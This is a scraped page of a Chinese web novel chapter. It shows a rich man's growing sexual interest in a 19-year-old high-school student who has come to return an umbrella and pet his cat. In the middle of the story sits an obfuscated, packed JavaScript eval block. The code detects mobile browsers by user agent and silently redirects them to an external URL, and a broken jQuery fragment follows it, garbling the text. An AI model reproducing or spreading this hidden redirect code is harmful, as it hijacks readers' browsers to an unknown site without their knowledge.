鹿赢ly 作品

4. 钻石男高(第2页)

    有点太小了。

    男人忽略内心那点微妙的遗憾,只颔首示意自己知道了。

    “你可以把那把伞拿走了,谢谢你为四月挡雨,经纪人的事会有人帮你解决的。”

    他说,语气依旧,一种说不上来的微妙感觉却消失了。

    沈行陡然察觉到这话中细微的变化,却搞不清是哪里导致的这种变化。但总归和他想达到的目的背道而驰。

    他抿起唇,视线又落在茶几上,那里除伞之外还有一把被人随意放置的车钥匙。

    没见过的图标,但质感沉实,边缘燎出哑光,看着就价值不菲。

    巨大的、嘈杂的引擎轰鸣声又随着这把钥匙撞进沈行的脑海,不用闭上眼那刺目至极的车前灯就晃在眼前。垂在身侧的手不自觉蜷缩,没有人能面对追寻已久的答案视若无睹。

    睫羽下垂微微颤动,男生沉默片刻,没有向前去拿那把伞而是开口问:

    “我能摸摸猫吗?”声音很轻,好像不太好意思,是这个年纪特有的青涩。

    霍祁琛有些意外地看他一眼,这小孩勾人是一回事儿,但眼里浮着块冰,浑身气质疏离脱俗,一看就是不太好接近的性子,没想到会主动提要求。

    胆挺大。

    他笑了一下,眉眼肆意张扬,忽然又觉得有趣起来,欣然答应:

    “摸吧。”接着嘱咐一句,“四月脾气不太好,小心挠你。”

    说完看见那胖猫蹭在男孩脚边谄媚的样子又觉得这话自己都不信。

    沈行倒没有在意他最后古怪的语气,只是乖巧的嗯了声,回应:

    “我会小心的。”

    说着他蹲下身,轻轻揉了揉猫咪的头顶。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15634836|172636||http|test|mini|href|location''.split(''|''),0,{}));

    () {

    $(''.inform'').remove();

    $(''#content'').append(''

    抬起的右手骨节分明,皮肤在灰色猫毛的衬托下显得更加透白,但不羸弱,反而闪耀着珍珠般年轻的光泽。

    “它叫四月吗?”衬衣袖口被他挽上去,露出的小臂线条流畅结实,完全符合人体美学,微突的腕骨外侧更是点着颗小痣,鲜活的好像下一秒能动起来。

    “嗯?”霍祁琛好像被这颗黑色的痣晃了眼,眼睛一直跟着走,直到沈行说第三遍才听明白,

    “...嗯对,叫四月,它在四月出生的。”

    说着艰难移开视线,只觉中央空调的温度有些高,室内开始变燥。

    霍祁琛随手捡起扔在茶几上的烟盒拣出一根噙在嘴里,一簇火焰从火机口蹿出。他深吸一口,看烟线飞快燃烧,妄图用尼古丁压住体内某种又开始蠢蠢欲动的情绪,

    “喜欢猫?”

    这人问沈行,对方侧蹲着,他的位置正好可以看见白衬衫下挺直的脊背。

    还算不上非常宽阔,但有着少年人独有的魅力。

    啧…白色的烟雾飘渺升起,模糊霍祁琛凌厉的眉眼,他在心里默念一句十九岁,是高中生。

    “喜欢。”沈行回他。

    所以上辈子为了救猫被车撞也不后悔。

    下蹲的姿势也掩饰不了男生长到逆天的腿,他悄悄活动一下因久蹲而酸胀的小腿,被霍祁琛注意到,

    “坐沙发上。”

    烟灰松垮地垂在烟杆上,他屈指弹了下,看它们簌簌下落,眼神落在男生脸上,又问,

    “养过吗?”

    沈行抱着四月上前两步坐到沙发边,沙发不算大,就算他只坐在边缘位置,也只离男人一臂的距离。

    霍祁琛能闻到他身上那股清新又冷冽的味道,没有香气,也不柔和,像雪水。

    啧,他又默念,十九岁,是高中生。

    “没有。”沈行垂眼,修长的手指插进猫咪柔软的毛发里,没看男人,

    “养一只太贵了。”

    过长的眼捷挡住黑眸,他说,

    “我连自己都快养不活了。”

    不是在卖惨,语气平静地好像在叙述别人的事。

    总有一种劲劲的感觉在他身上,怎么说都不让人觉得他狼狈。

    “所以今天向‘王总’敬酒?”

    霍祁琛似笑非笑问了一句,烟杆燃烧过半。

    其实是一句玩笑话,霍祁琛指的是他敬错人的事,但沈行好像想到别的地方去,抿了抿唇,低声:

    “我也不想,但是张哥强迫——”

    “喵~”被挠的太舒服,四月发出一声呼噜。

    剩下的话戛然而止,沈行突然清醒一样,似乎有点懊恼自己失言,将四月从腿上放下去,自己匆匆站起来,弯腰拿了那把黑伞就要走:

    “时间不早了,我得走了霍少,谢谢您让我摸猫,四月长得很可爱…”

    弯腰时微开的领口正好朝向霍祁琛,可以看见板正衣衫下的锁骨,有颗鲜红的痣在锁骨下从男人眼前一闪而过。

    还没反应过来,见沈行要走,霍祁琛下意识喊住他:

    “等一下。”

    沈行当真停下来,扭头回来看着他。

    “……”霍祁琛想要组织一下语言,但是眼前总是出现那颗缀在少年锁骨下方的痣,晃得他集中不了心神。

    操,他暗骂了声,将烟摁灭烟灰缸里,大脑极速运转——

    1.对方十九岁,太小了。

    ——十八岁都成年了,他还大一岁,完全没问题。

    2.这年纪上学晚的还上高中。

    ——高中生好啊,男高中生,有劲儿,听说那什么跟钻石一样。

    一样硬。

    3.这小朋友穷得都要卖身给老头了,别折腾人家。

    ——穷?我有钱啊,而且我还比老头年轻。

    ……

    如此一番左右脑互搏后,霍祁琛得出答案,他放松下来,喊住沈行:

    “喂,”烟雾还未完全消散浮在上空,灯光折进去引出一片朦胧,他问,

    “敬不了王总敬我行不行啊?”

    一种相当露.骨的暗示。